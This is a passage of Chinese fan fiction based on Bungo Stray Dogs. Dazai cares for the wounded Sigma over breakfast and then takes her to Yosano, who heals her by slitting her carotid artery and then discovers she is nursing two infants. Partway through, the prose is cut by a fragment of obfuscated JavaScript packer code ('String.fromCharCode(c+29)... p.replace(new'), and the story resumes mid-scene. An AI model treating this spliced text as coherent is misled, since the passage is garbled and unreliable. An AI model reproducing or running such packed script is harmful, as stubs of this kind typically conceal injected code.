她解开身上那件皱巴巴、沾着汗味的衬衫纽扣,脱下,又褪下那件黑色的、蕾丝边缘的文胸。 冰凉的空气瞬间接触皮肤,激起一阵细微的战栗。 镜中的身体白皙得近乎透明,腰腹间缠绕着洁白的绷带,心脏上方也贴着一小块纱布。 浅色的长发凌乱地披散在肩头,勾勒出瘦削的锁骨和圆润的肩线。 伤痕与柔和的曲线以一种突兀又和谐的方式并存,展示着脆弱,也展示着某种顽强的生命力。 她拧开热水,氤氲的蒸汽很快升腾起来,模糊了镜面,也模糊了身上那些新旧伤痕的轮廓。 西格玛用浸湿拧干的温热毛巾,开始慢慢擦拭身体。从脖颈到手臂,从胸口到后背,小心翼翼地避开包扎的地方。 热水带走黏腻的汗意,皮肤渐渐变得清爽,但心底那份沉甸甸的、混杂着血腥、硝烟、失去与短暂温存的东西,却无法被轻易擦拭干净。 毛巾擦过皮肤,发出轻微的摩擦声,她的动作很慢,不只是因为身体的虚弱和对伤口的小心,更因为每一次擦拭,都像是在清理一场战役过后的狼藉,不只是身体上的,更是心底的。 浴室门外,早餐的香气越发浓郁。 煎饺焦香的边缘气味,味增汤醇厚的咸鲜,构成了一种平凡却坚实的烟火气。 太宰治将两份早餐在小小的餐桌上摆好,筷子整齐地放在一边。 他解下身上那件略显突兀的围裙,随手搭在椅背上,目光不由自主地再次投向那扇紧闭的浴室门。 门内持续传来淅淅沥沥的水声,间歇着毛巾摩擦过皮肤的细微声响。 白色的蒸汽顽强地从门板底部的缝隙中钻出,丝丝缕缕,带着潮湿的热意和一丝极其淡的、属于她的气息。 他静静地看了一会儿那扇门,然后移开视线,走到窗边,望着窗外渐渐苏醒的横滨街道。 清晨的阳光已经变得明亮,落在横滨高低错落的建筑上,给冰冷的玻璃和金属涂层镀上一层耀眼的金边。 街道上车流渐密,远处港口的轮船传来低沉的汽笛声。 太宰治的脸上没有什么表情,鸢色的眼眸映着窗外的景致,深处却是一片平静的深海,将所有夜间翻涌过的思绪,妥帖地收纳于无人可见的寂静之下。 不知过了多久,浴室里的水声停了。 片刻的寂静后,门锁轻轻转动,门被拉开。 西格玛走了出来。她穿着太宰治的衬衫,浅色的布料在她身上显得异常宽大,肩线滑落到手臂,下摆几乎遮住了她的大腿中部,空荡荡的,越发衬得她身形纤细。 浅色的长发湿漉漉地披在肩后,发梢还在滴水,浸湿了一小片肩部的布料,透出底下肌肤更朦胧的轮廓。 她的脸上被热水蒸出淡淡的粉色,冲散了些许苍白,唇瓣也沾了点水汽,显得更加柔软。 西格玛一只手不自觉地揪着胸前的衬衫布料,将其拢紧,以抵御布料过于空旷带来的不安全感。 另一只手则拎着那件刚刚洗净、还在滴滴答答往下滴水的黑色文胸。 蕾丝边缘在水珠的浸润下颜色更深,显得格外醒目。 太宰治在西格玛打开门的那一瞬间,就若有所感地回过头。 他的目光快速而克制地掠过她全身。 ——宽大衬衫下明显空空荡荡的轮廓,湿透黏在颈后的发丝,微微泛红的脸颊,以及她手中那件无法忽视的、滴着水的黑色内衣。 “简直就像男友衬衫啊。” 他在心里无声地感慨了一句,那念头轻飘飘地划过,不留痕迹。 然后,太宰治像是刚注意到她出来一样,极其自然地转过身,脸上露出恰到好处的、轻松的笑容。 视线在她揪着衣襟的手指和拎着的文胸上微微一顿,瞬间就明白了状况。 她没有可以换上的干净内衣。 一丝极细微的、连他自己都未必清晰察觉的窘迫掠过心头,他甚至下意识地想再次转过身,避开这过于私密和直白的场景。 但几乎在同一时刻,另一种更迅捷的反应占了上风。 用行动化解尴尬。 他向前走了两步,非常自然地伸出手,直接从西格玛手里接过了那件湿漉漉的文胸,指尖不可避免地触碰到冰凉湿润的蕾丝布料,滑腻的触感让他指尖微微一顿。 “我帮你晾起来吧,”他的语气轻松如常,仿佛接过的是件再普通不过的湿毛巾,“早餐准备好了,你先去吃,要趁热。” 西格玛手里一空,低头看了看自己空空的手指,又抬眼看了看太宰治。 她的脸上没有什么明显的表情变化,没有害羞,也没有惊讶,只有一种深重的、近乎麻木的平静,或者说,是一种对现状全盘接受的疲惫。 西格玛点了点头,声音依旧有些沙哑:“好。” 然后她便安静地转身,走向小小的餐桌,在那份冒着热气的早餐前坐下,目光落在煎饺金黄的焦边和味增汤袅袅升起的热气上。 而太宰治站在原地,手里拎着那件还在缓慢滴水的、属于女性的黑色蕾丝文胸。 冰凉的触感透过指尖传来,水滴落在地板上,发出几乎听不见的轻响。 他低头看了看,鸢色的眼眸里闪过一丝极快的、近乎荒谬的情绪。 自己刚刚都做了些什么? 但这个念头只是一闪而过。他脸上依旧没什么波澜,径直走向连着客厅的小阳台。 清晨的阳光毫无遮拦地洒进来,暖洋洋的。 太宰治找到晾衣架,将那件文胸展开,小心翼翼地挂在衣架上。 黑色的布料在阳光下显得格外醒目,蕾丝花纹投下细密的阴影。 水珠顺着弧度缓缓滑落,滴在阳台的地面上,留下一小片深色的湿痕。 他站在那里,看着阳光透过湿润的黑色蕾丝,微微眯了下眼,然后转身走回屋内,带上了阳台的玻璃门。 太宰治从阳台回来时,脚步放得很轻,晨光在他砂色的风衣肩头落了浅浅一层光晕。 脸上那抹轻松的神色毫无破绽,仿佛刚才在晨光下晾晒那件私密织物的场景从未发生。 他径直走到餐桌旁,没有去看西格玛依旧无意识揪着衬衫前襟的手指。 目光在桌面上随意一扫,便极其自然地弯下腰,打开了餐桌下方一个不起眼的小抽屉。 里面整齐地叠放着一些备用杂物。 太宰治翻找了两下,抽出一件叠得方方正正、质地柔软的白色棉质吊带背心。 “喏,”他把背心轻轻放在西格玛手边的桌面上,指尖在上面随意地点了点,发出细微的摩擦声。 太宰治重新直起身,鸢色的眼睛弯成好看的月牙,语气里带着一种漫不经心、甚至有点孩子气的戏谑,“穿衬衫不穿件内搭,公寓里穿堂风一过,可是很容易着凉的哦。这件是全新的,买回来发现太素了,一次都没穿过。” 他顿了顿,目光飞快地掠过她微微泛红的耳廓,笑意加深了些,声音压低,带着点促狭,“你先凑合一下,总比一直揪着衣服不放好。刚才那样子,简直像只随时准备缩起来的受惊兔子。” 说完太宰治也不等西格玛回应,转身拉开冰箱拿了瓶牛奶,一边用闲聊般的口吻补充,声音不大,却足够她听清:“对了,侦探社的休息室柜子里,好像还堆着不少与谢野医生之前塞进去的备用衣物,各种尺码都有。她那个人啊,总担心谁出任务回来没衣服换。” 他拿着牛奶走回桌边,将杯子放在她面前,“等会儿过去的时候顺两件合适的,她挑衣服的眼光……嗯,虽然风格有点特别,但至少比我强多了。” 他全程没提“内衣”两个字,没看她泛红的耳根,也没提刚才晾在阳台的那件黑色蕾丝,只是用轻描淡写的语气,把一个窘迫的难题,变成了一件再寻常不过的小事。 “……谢谢。” 西格玛再次低声道谢,声音比刚才更稳了一些。 然后,她拿起那件背心,起身走向太宰治的卧室,轻轻关上了门。 太宰治咬了一口煎饺,慢条斯理地咀嚼着,目光落在对面空着的椅子上,又似乎穿过了墙壁,落在卧室门的方向。 他的指尖无意识地摩挲着筷子光滑的表面。 现在,连贴身的衣物……都暂时穿的是我的了呢。 这个念头悄然浮起,带着一丝难以言喻的微妙感觉。 像是平静的湖面被投进一颗细沙,漾开一圈极淡的涟漪,转瞬又归于沉寂。 卧室门很快又被打开了。 西格玛走了出来。那件浅灰色的棉质吊带背心穿在了衬衫里面,妥帖地包裹住身体,虽然依旧宽松,但已经很好地解决了那份空荡不安。 她不再需要揪着胸前的布料,双手自然垂在身侧,走回餐桌前坐下。 宽大的衬衫罩在外面,领口微敞,露出里面一小截灰色的肩带和背心的圆领,反而显得随意又整洁。 “合适吗?”太宰治随口问,目光在她身上扫过,带着点评估的意味,但很快又落回食物上。 “嗯。”西格玛点点头,拿起自己的筷子。她的动作还有些迟缓,但已经平稳了很多。 两人安静地开始用餐。煎饺外皮焦脆,内馅温热,味增汤咸鲜适口,牛奶散发着淡淡的甜香。 晨光越来越亮,透过窗户,将餐桌一角照得暖洋洋的。 只有轻微的餐具碰撞声和咀嚼声在空气中回荡,却并不令人感到沉闷,反而有一种劫后余生、尘埃暂定的安宁。 太宰治吃得不多,很快便放下了筷子,单手支着下巴,看着西格玛小口小口地喝着味增汤。 她的脸颊因为热汤而恢复了些许血色,湿漉漉的长发披在背后,发梢还在缓慢地滴水,落在衬衫上,晕开更深的水痕。 “头发还在滴水,”太宰治忽然开口,站起身,“这样可不行,就算低烧刚退,湿着头发也容易头疼。” 他走到储物柜前,熟门熟路地拿出一个吹风机,插上电源,然后回头看向西格玛,示意了一下旁边的椅子。 西格玛放下汤碗,看了看他手中的吹风机,又看了看他。 她没有说话,只是默默地起身,走到那张椅子前坐下,背对着他。 姿势温顺,毫无抗拒。 太宰治打开吹风机,先试了试风温和风速,调到中档暖风。 他站在她身后,手指轻轻撩起她一缕湿透的长发。 热风随之拂过,发丝在气流中飘散开,带着湿润的水汽和洗发用品极淡的香气。 他的动作并不十分熟练,却足够仔细。手指穿梭在发丝间,确保每一缕都能被热风均匀照顾到,又小心地避免风口离头皮太近,或是让热风直接吹到她的后颈。 另一只手则时不时地梳理着长发,防止打结。 嗡嗡的吹风机声音填补了空间的寂静。 西格玛安静地坐着,微微低着头,露出纤细脆弱的脖颈。 暖风拂过头皮和发丝,带来舒适的暖意,也让她紧绷的肩背线条,在持续的温热噪音中,一点点松弛下来。 她能感觉到他指尖偶尔擦过头皮的触感,很轻,很克制。 那轰隆隆的声响,奇异地带来一种属于平静生活的安稳感。 太宰治垂着眼,专注着手上的动作。 视线里,她的长发在暖风中渐渐变得蓬松干燥,泛着细碎柔和的光泽。 指尖传来的是干燥后愈发柔软的触感,温热,顺滑,带着生命特有的韧度,毫无阻碍地透过皮肤,传递过来。 这触感太过具体,又太过陌生。 他并非没有触碰过他人的头发,在港口□□时期,粗暴的拉扯或冰冷的抚过,都曾是他达成目的的手段。 但此刻不同。 这不是任务,不是审讯,不是算计中的一环。 这只是一种……纯粹的照料。 而他指尖感受到的这份毫无戒备的柔软,像一小簇温吞的火苗,悄无声息地熨帖着他指腹常年留下的、连他自己都未必在意的细微薄茧。 然后,那点暖意沿着神经末梢,丝丝缕缕地逆向蔓延,试图软化一些更深层、更顽固的东西。 发丝间隐约露出她小巧的耳廓,和一段白皙细腻的后颈。 这个距离,这个姿态,充斥着一种过于日常、甚至过于亲密的氛围。 但太宰治脸上的表情很淡,只是认真地完成着“吹干头发”这件事。 仿佛这和他之前做早餐、处理伤口一样,只是当前情境下需要完成的一件普通事项。 真是荒谬。他想。 这具身体承受过子弹、利刃、爆炸的冲击,这双手沾染过洗不尽的血腥与污浊,这颗心早已在淤泥与算计中淬炼得冷硬而空洞。 此刻,却被几缕平凡无奇的湿发,被这份最简单不过的“需要吹干”的日常,轻轻叩击。 那触感映照在心头,不是尖锐的疼痛,也不是灼热的悸动,而是一种……缓慢的、微凉的坍塌感。 仿佛心底某处常年冻结的冰层,被这持续不断的、温和的热风,吹出了一道细小到看不见的裂隙,透进一丝他几乎快要遗忘的、属于“寻常”的温度。 只有太宰治自己知道,指间流淌的这抹白色,和这份全然不设防的顺从,在他心底那片深海里,投下了怎样微小却清晰的涟漪。 他的心,竟然也因此,感到了一丝不合时宜的、陌生的柔软。 这柔软让他警觉,却又无力立刻驱逐。 吹风机的嗡嗡声持续着,盖过了窗外渐渐喧嚣起来的城市噪音,也盖过了某些未曾言明的、悄然滋长的东西。 直到最后一缕湿发变得干爽蓬松,太宰治才按下开关。 嗡鸣骤然停下,空气里还残留着温热的水汽,和发丝干透后淡淡的清香。 他拔掉插头,指尖最后一次轻轻梳过西格玛的发顶,将一缕垂在她颈侧的碎发别到耳后。 动作自然得像是做过千百遍,指尖擦过耳廓时,带着一丝不易察觉的轻颤。 “好了。” 他的声音比刚才吹头发时更轻了些。 “这样就不会头疼了。” 西格玛没有立刻回头,只是微微仰头,闭了闭眼。 后颈的皮肤还残留着暖风拂过的温度,以及他指尖偶尔擦过的触感,很轻,很软,像一片羽毛落在心尖上。 她慢慢转过身,看向站在身后的太宰治。 晨光落在他砂色的风衣上,给他周身镀了一层柔和的金边,那双惯常带着疏离戏谑的鸢色眼眸里,此刻盛着细碎的光,多了一点说不清道不明的温和。 “谢谢。” 她轻声说,这是今天不知道第几次说这两个字了。 太宰治挑了挑眉,很快又恢复了那副漫不经心的模样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“穿这个。”他把外套递过来,“外面风有点大,你刚退烧,别再着凉了。” 西格玛接过外套,指尖触到厚实的面料,带着阳光晒过的暖意。 她低头穿上,外套的尺码略大,却刚好能裹住身形,领口的绒毛蹭到脖颈,带来柔软的触感。 “好了,出发吧。” 太宰治率先走向玄关,弯腰换鞋时,砂色风衣的下摆垂落,遮住了他大半的身形。 西格玛跟着起身,走到玄关处换鞋。她的动作还带着些许迟缓,系鞋带时,手指偶尔会因为腰侧的牵扯而微微停顿。 太宰治换好鞋,回头见她蹙眉的模样,没说什么,只是自然地蹲下身,握住了她未系好的鞋带。 指尖不经意间擦过她的脚踝,带着微凉的温度。 西格玛一怔,下意识地想收回脚,却被他轻轻按住。 “别动呀。”他抬眼看向她,鸢色的眸子里漾着几分惯常的戏谑,“难道要我抱你下去?” 西格玛的耳根微微发烫,不再挣扎,只是垂着眼,看着他修长的手指灵活地穿梭,很快便系好了一个工整的蝴蝶结。 “谢谢。”她轻声说,声音里带着一丝不易察觉的窘迫。 太宰治站起身,拍了拍手上不存在的灰尘:“走吧,与谢野医生要是等急了,可是会用手术刀瞪人的哦。” 他推开公寓门,清晨的风裹挟着淡淡的草木气息涌进来,吹动了西格玛额前的碎发。 太宰治侧身让她先走,自己跟在身后,随手带上了门。 楼道里很安静,只有两人的脚步声交替响起,缓慢而平稳。 “腰侧的伤口还疼吗?”下楼时,太宰治忽然开口,声音压得很低,刚好能让走在前面的她听清。 “还好,”西格玛摇摇头,脚步顿了顿,又补充道,“比昨夜好多了。” “那就好。”他应了一声,又说,“与谢野医生的异能力很厉害,只要没死透,她都能给你救回来,不过……” 他故意拖长了语调,带着点恶作剧般的笑意:“她治疗的方式,可能会有点‘粗暴’哦,你可要做好心理准备。” 西格玛愣了愣,想起与谢野晶子的异能「请君勿死」,瞬间明白了他的意思,轻轻点了点头:“没关系。” 走到楼下时,晨光已经铺满了整条街道。 路边的樱花树抽出了细小的嫩芽,偶尔有微风拂过,带来一阵极淡的清香。 太宰治抬手拦了一辆出租车,拉开后座车门,示意她先上。 “进去吧,侦探社离这里不算太远,十几分钟就到了。” 西格玛弯腰坐进车里,柔软的座椅包裹住身体。 她转头看向窗外,看着街道两旁渐渐后退的建筑,心里忽然生出一种不真切的感觉。 这种平静而安稳的日常,是她过去从未奢望过的。 太宰治坐进车里,关上车门,对司机报出侦探社的地址。 出租车缓缓启动,汇入清晨的车流。 他侧头看向西格玛,见她望着窗外出神,便没有打扰,只是将目光投向窗外掠过的风景。 车厢里很安静,只有发动机的轻微声响。 阳光透过车窗照进来,落在两人身上,带来暖洋洋的温度。 西格玛看了一会儿窗外,忽然转过头,看向身边的太宰治。 他正靠着座椅,眼帘微垂,长长的睫毛在眼睑下投下一小片阴影,平日里总是带着戏谑的脸上,此刻竟透着一丝难得的沉静。 仿佛察觉到她的目光,太宰治缓缓睁开眼,对上她的视线,嘴角立刻扬起熟悉的笑意:“怎么了?难道是觉得我太帅,看入迷了?” 西格玛的脸颊微微一热,连忙移开目光,轻轻摇了摇头:“没有。” 太宰治低笑出声,声音里带着毫不掩饰的愉悦。 他没有再追问,只是重新闭上眼睛,手指无意识地敲击着膝盖,节奏轻快。 西格玛靠在座椅上,听着他敲击膝盖的声音,感受着车厢里温暖的阳光,心里那份因陌生而产生的局促,渐渐被一种莫名的安心所取代。 出租车穿过几条街道,渐渐靠近侦探社所在的区域。 远处,那栋熟悉的建筑已经隐约可见。 太宰治忽然睁开眼,看向西格玛,语气认真了些许:“到了之后,乖乖听与谢野医生的话,别逞强。” “我知道了。” 西格玛轻轻地点头。 “还有哦,”太宰治话锋一转,又恢复了那副漫不经心的模样,“如果与谢野医生要给你换绷带,可别吓得哭出来呀,我可不想被她当成欺负病人的坏人呢。” 西格玛看着他眼底的笑意,轻轻“嗯”了一声,嘴角却不自觉地勾起了一抹极淡的弧度。 出租车缓缓停在侦探社楼下,太宰治率先下车,绕到另一侧拉开车门时,目光恰好落在西格玛垂着的眼睫上。 她的睫毛很长,在眼睑下投下一小片浅淡的阴影,此刻正随着呼吸轻轻颤动,像停歇在枝头、毫无防备的蝶。 晨光落在她刚被吹干的长发上,泛着柔和的银白光泽,衬得她脸颊的血色愈发真切。 太宰治伸出手,看着她犹豫片刻后,轻轻将指尖放进自己掌心。 那触感依旧柔软温热,带着一丝不易察觉的颤抖,却没有丝毫退缩。 他握着她的手,轻轻将她从车里扶出来,指尖下意识地收紧了些许,生怕她因为腿软而摔倒。 两人并肩站在侦探社楼下。 风拂过树梢,落下细碎的光影,将他们的影子在地面上轻轻叠合。 西格玛微微仰头看着面前熟悉的建筑,眼神里带着一丝茫然,更多的却是一种卸下防备后的平静。 太宰治望着她的侧脸,鸢色的眼眸里褪去了惯有的戏谑,只剩下一片深邃的柔和。 他忽然想起昨夜的种种,她在高热中蜷缩着身体,额头抵着他的腿侧,无意识地呢喃着模糊的字句。 想起她醒来时,眼底的空白与随后涌上的纯粹谢意。 想起她穿着他的衬衫,局促地揪着衣襟,又在换上吊带后,露出安稳的神情。 想起刚才吹头发时,她温顺地背对着他,后颈白皙的皮肤在暖风中泛着薄红,发丝轻扫过掌心,带着细碎的痒。 从港口□□时期到现在,太宰治早己习惯了算计与防备,习惯了用漫不经心的伪装隔绝一切真心,习惯了将自己置于掌控者的位置,从不允许任何人轻易闯入他的世界。 可面对西格玛,这一切似乎都失效了。 他本该在处理完她的伤口后便转身离开,本该对她的窘迫冷眼旁观,本该将这份交集视为一场无关紧要的插曲。 但他没有。 他留了下来,为她煮了早餐,给她找了干净的衣物,为她吹干了湿发,甚至蹲下身,为她系好了鞋带。 这些琐碎的、带着烟火气的照料,本不该出现在他的人生里。 可当他看到她眼底的脆弱,感受到她毫无戒备的依赖,触摸到她传递过来的温热与柔软时,心底那道常年冻结的冰层,似乎又裂开了一丝缝隙。 那点从指尖蔓延开来的暖意,那份让他警觉却又无力驱逐的柔软,此刻正在胸腔里缓缓流淌,带着一种近乎宿命的妥帖。 太宰治的目光落在两人交握的手上,她的手很小,被他的手掌完全包裹着,乖巧得不像话。 “不想失去的东西,总有一天还是会离你而去。” 他忽然想起这句话。 想起那些在他生命里短暂停留又骤然消散的人,想起那些他曾以为握得住,最终却化作指间沙的温暖。 人们渴求的所有存在价值的东西,从得到的那一刻起就注定有失去的一天,不惜延长痛苦人生也要去追求的人,一个都不存在。 从前的太宰治,对此深信不疑。 所以他放任自己沉溺于虚无,放任自己站在世界的边缘,用戏谑和漠然包裹住那颗早已冷透的心。 毕竟,不去触碰,就不会拥有;不曾拥有,就不会有失去的痛苦。 忍耐着一个人的孤寂,忍耐着灵魂深处的空洞,总好过在得到后又失去,眼睁睁看着那些温暖碎裂成灰。 可此刻,掌心传来的触感温热,她发丝间的清香萦绕在鼻尖,晨光落在她发梢的银白光泽,亮得晃眼。 眼前的她是如此真切。 温暖的,柔软的,带着鲜活的体温,会对他微笑,微微垂下着眼睫,那羞涩的样子就像是樱桃。 太宰治忽然明白了一件事。 去追求幸福比忍耐痛苦更需要勇气。 从昨夜到现在,他所做的一切,与其说是无力阻挡这突如其来的牵绊,不如说,他是心甘情愿的。 心甘情愿地放下伪装,心甘情愿地付出照料,心甘情愿地让这个满身伤痕的人,闯入自己早已习惯了冰冷与孤寂的世界。 心甘情愿地,被这份平凡的日常,被这份纯粹的依赖,一点点拉回所谓的“寻常”里。 他向来笃信世间万物皆会逝去,向来觉得追求转瞬即逝的温暖是最愚蠢的事。 可他偏偏在这一刻,生出了一丝连自己都觉得荒谬的奢望。 哪怕知道终有一天会失去,哪怕明了这份温暖终将化作泡影。 他也想握住她的手。 毕竟,忍耐孤寂是本能,而伸手去抓住那点转瞬即逝的幸福,才需要耗尽毕生的勇气。 这个认知让太宰治自己都觉得荒谬,却又带着一种难以言喻的释然。 他向来追寻死亡的极致解脱,却在这一刻,因为一个人的存在,感受到了生的真切质感。 太宰治微微收紧掌心,看着西格玛转过头来,对他露出一个极淡的、带着谢意的笑容。 “走吧。” 他开口,声音里带着一丝自己都未曾察觉的温柔,牵着她的手,一步步走向侦探社的大门。 阳光正好,将两人的身影拉得很长,紧紧依偎在一起。 25. 治疗 走到武装侦探社门口时,西格玛的手轻轻从太宰治掌心抽了出来。 那点温热的触感突然消失,太宰治的手指微微一动,心中掠过一丝清晰可辨的失落。 但他随即勾起嘴角,那抹转瞬即逝的空落甚至来不及成型,便被惯常的笑意覆盖。 不急,他在心里对自己说。 像是对某个看不见的旁观者解释,又像是在安抚那个连自己都快要陌生的部分。 太宰治推开门时,国木田独步正站在办公桌前整理文件。 听见动静,他抬起头,眼镜后的视线先是落在太宰治身上,眉头习惯性地皱起,随即移向他身后—— 然后顿住了。 西格玛安静地站在那里,独特的半紫半白长发在晨光中泛着柔和的光泽。 她穿着明显过大的男士衬衫,衣摆几乎垂到膝盖,袖子卷了好几道才露出纤细的手腕,脸色还带着病中的苍白,却站得很直。 国木田记得这张脸。 天人五衰事件中那些错综复杂的报告里,有她的照片和代号。 社长提前在晨间简短告知过,这位曾卷入天人五衰事件的西格玛小姐,会来侦探社接受与谢野医生的治疗。 作为曾经的敌人,现在由武装侦探社收管。 她也曾是计划的一部分,是那个魔人费奥多尔的“作品”之一。 ——可最终,正是她让那个魔人改变了想法。 此刻的她与报告中那个苍白模糊的形象截然不同。 她站在那里,像一株经历过风雪却依然挺立的白梅,脆弱中带着一种奇异的坚韧。 国木田独步推了推眼镜,收回目光,语气平静无波:“来了。社长已经交代过。” “国木田君~早上好呀!” 太宰治的声音轻快响起,打破了短暂的沉寂,他自然地走进来,“果然什么都瞒不过国木田君呢,真是可靠的模范员工呀。” 国木田独步没理会他的调侃,只是侧身指了指医疗室的方向,依旧是公事公办的口吻:“与谢野医生已经在里面准备了,直接过去吧。别耽误治疗。” 西格玛对上国木田独步算不上温和、却也毫无敌意的目光,轻轻点了点头:“打扰了。” 她的声音很轻,带着病后的虚弱,却异常清晰。 国木田独步沉默了几秒,最终只是“嗯”了一声,重新低下头整理文件:“医疗室在那边。” 太宰治笑了笑,领着西格玛穿过侦探社的办公区。 清晨的侦探社还很安静,只有零星几个早到的社员。 好奇的目光投过来,又很快移开,在这里工作的每个人都明白,有些事不该多问。 医疗室的门虚掩着。 太宰治敲了敲,里面传来与谢野晶子干脆利落的声音:“进来。” 推开门时,与谢野晶子正背对着他们整理器械。 她转过身,手术刀在指间转了个漂亮的弧光,稳稳落入托盘:“社长说的客人就是你吧。” 太宰治率先迈步上前,侧身让西格玛站到身前,语气轻快却带着几分郑重,先看向与谢野晶子,抬了抬下巴示意身侧的人:“与谢野医生,这位是西格玛小姐。” 说完,他又转向西格玛,微微偏头,目光落在忙碌的与谢野晶子身上,声音放轻了些,带着安抚的意味:“西格玛,这位就是武装侦探社的专属医生,与谢野晶子医生。她的医术可是超厉害的,交给她绝对没问题。” 与谢野晶子的目光在西格玛身上迅速扫过。 ——苍白的脸色,过大的衣物,站立时腰侧不自觉的紧绷。 医生的本能让她立刻进入了工作状态:“坐吧。胸口和腰腹的伤口?太宰做的应急处理?” 不等太宰治开口,与谢野晶子已经主动接过话头,显然社长早已将核心情况告知。 西格玛在检查床上坐下,手指无意识地揪住了衣角,紧张感因对方的专业与直接,消散了些许。 太宰治站在她身旁,对与谢野晶子简单交代:“胸口和腰腹都有伤口,我做过应急处理。另外她还在发烧,温度不算太高,但一直没退。” 与谢野晶子点点头,戴上手套:“衣服解开我看看。” 西格玛犹豫了一下,手指移到衬衫纽扣上。 太宰治适时地转过身,面朝着墙壁,手指轻轻敲打着墙面,哼着不成调的旋律。 衬衫解开,绷带露了出来。与谢野晶子小心地拆开包扎,仔细检查伤口。 腰侧的缝合线工整细密,止血和消毒都做得很到位。 她挑了挑眉,难得给出了正面评价:“包扎和缝合还算稳妥。太宰,你这次倒没马虎。” 背对着她们的太宰治轻笑一声:“毕竟是人命关天嘛。” 与谢野晶子没接话,继续检查胸口的伤。处理得同样细致,只是伤口周围的皮肤泛着不正常的红热。 她量了体温,三十七度八,低烧。 “伤口需要拆线。” 与谢野晶子说着,转身去取消毒器械盘。锋利的拆线剪和镊子在托盘里泛着冷光。 西格玛背对着太宰治,将敞开的衣领拢了拢。 太宰治见状,适时地后退了半步。 “那么,专业的部分就交给医生了。” 他微微侧过头,目光落在西格玛微微绷紧的肩线上,声音放轻了些,带着一种与平日戏谑不同的温和,“别担心,与谢野医生虽然手法‘豪迈’,技术可是一流的。我就在外面。” 他这话说得自然,仿佛只是寻常的叮嘱。 但话尾那一点点不易察觉的放缓,以及目光在西格玛脑后多停留的半秒,让正在准备器械的与谢野晶子指尖几不可察地顿了一下。 她抬起眼,视线快速掠过太宰治。 他正看着西格玛,那双惯常盛满浮光掠影般笑意的鸢色眼眸里,此刻沉淀着一种近乎专注的平静。 这眼神与谢野晶子不算陌生,却极少在这位热衷于将一切情绪都裹上轻浮外衣的同僚脸上看到,尤其是对着一个理论上“无关紧要”的陌生人。 而与他对视的西格玛,只是略显茫然地轻轻点了点头,小声回应:“嗯。” 她脸上除了对接下来治疗的些微紧张,没有任何异样,完全没接收到那话语和目光里潜藏的、超出“关照伤患”范畴的意味。 太宰治站在门口,手搭在门把上,忽然像是想起什么似的转过身。 目光落在西格玛身上那件明显宽大的男士衬衫上,他语气带着几分随意,却又透着不容忽视的认真:“对了,与谢野医生,还有件事麻烦你。” “西格玛小姐现在没有合身的衣服可穿,治疗结束后,劳烦你帮忙找一套合适的衣物,尺码按她的身形来就好。” 与谢野晶子挑了挑眉,没多说什么,只是用镊子夹起酒精棉球,随口应了一句:“知道了,这点小事还用你特意嘱咐。” 她早就注意到,西格玛身上不合身的衣服了。 随即转向西格玛,语气恢复了医生的干脆利落:“躺好,放松。” 太宰治最后看了西格玛一眼,嘴角勾起一个极淡的、几乎算不上笑的弧度,便转身拉开了医疗室的门,轻轻带上。 室内彻底安静下来,只剩下器械偶尔碰撞的轻响。 “我需要用异能彻底治疗。” 与谢野晶子利落地处理完拆线,放下工具,看向西格玛,“你知道我的异能吗?” 西格玛点点头,声音很轻:“‘请君勿死’。需要濒死状态才能发动。” “对。” 与谢野晶子从器械台上拿起一把柴刀,那刀锋打磨得极亮,在晨光中反射着冷冽的光,“我会划开你的颈动脉。很快,不会太痛苦,但濒死的体验是真实的。你确定可以吗?” 西格玛看着那把刀,呼吸微微一顿,然后缓缓点头:“可以。” 她没有移开视线,只是手指微微收紧,抓住了检查床的边缘。 与谢野晶子走近,柴刀在她手中轻巧得像是手术刀。 “放松。”与谢野的声音平静而专业,“三、二、一——” 刀锋落下。 快、准、狠。冰冷的金属划过颈侧皮肤,切开肌理,精准地割破颈动脉。 血液涌出的瞬间,与谢野晶子的手已经按了上去,用力捂住伤口。 西格玛的瞳孔骤然收缩。 窒息感、血液从身体里流失的冰冷感、意识被抽离的虚无感——所有濒死的信号同时涌上来。 世界在眼前旋转,颜色褪去,声音远去,只剩下心脏在胸腔里沉重而缓慢地搏动,一下,又一下,越来越弱。 恍惚间,她想起另一次割喉。 也是这么冷,也是血液喷涌而出,也是有人用手死死捂住她的伤口。 那时候是果戈里——银白色的长发垂下来,遮住了他的表情,只有那只手,用力得几乎要捏碎她的颈骨。 他捂着她的伤口,在她耳边说了什么,但她已经听不清了。 只记得血液从指缝间渗出,温热黏腻,像生命本身在流逝。 那时她是真的想死。 而现在…… 与谢野晶子的声音穿透那片恍惚:“‘请君勿死’!” 温暖的绿光从她掌心涌出,顺着伤口渗入西格玛的身体。 晶莹的蝴蝶随着异能发动而飘起。 那是一种奇异的感受——冰冷被驱散,血液倒流回血管,破裂的组织以肉眼可见的速度愈合,意识被重新拉回躯壳。 西格玛剧烈地咳嗽起来,手指抓住胸口的衣服,大口呼吸着空气。 颈侧的伤口已经消失,皮肤光滑如初,连疤痕都没有留下。 与谢野晶子松开手,检查她的颈侧:“好了。致命伤应该都愈合了。” 西格玛摸了摸脖子,那里完好无损。腰侧和胸口的疼痛也消失了,绷带下的伤口应该已经愈合。 可是……那种疲惫感还在,低烧带来的头晕也没有完全散去。 “还是不舒服?”与谢野晶子注意到她依旧苍白的脸色。 西格玛点点头:“头有点晕,胸口……有些胀痛。” 与谢野晶子重新给她量了体温:三十七度六,低烧还在。 她皱眉思考了几秒,手指轻轻按压西格玛胸口周围:“这里疼吗?” 西格玛微微蹙眉:“有一点。” “发烧,局部红肿热痛……”与谢野晶子沉吟片刻,忽然想起什么,“你最近有没有觉得□□胀痛,或者有硬块?” 西格玛愣了一下,耳根微微发红,但还是诚实地点了点头。 与谢野晶子的表情严肃起来:“这种症状持续多久了?” “几天了。”西格玛的声音很低,“之前……也有过一次。那时候医生说,是乳腺炎。” 与谢野晶子的眉头皱得更紧了。 她示意西格玛躺下,做了更详细的检查。触诊时的反应和局部症状都印证了她的猜测。 检查结束后,与谢野晶子摘下手套,看着西格玛,语气平静但直接:“你现在正在哺乳期吗?” 西格玛的睫毛颤了颤。 她沉默了很久,久到与谢野晶子以为她不会回答时,她终于开口,声音轻得像一阵随时会散去的风: “我有两个孩子。大的……一岁七个月,小的六个月了。” 医疗室里陷入了短暂的寂静。 与谢野晶子看着眼前这个看起来不过二十岁左右的女性,半紫半白的长发,纤细的身形,苍白的脸上还带着病弱的稚气。 她诞生在这世界上只有三年——国木田提交的报告里写得清清楚楚。 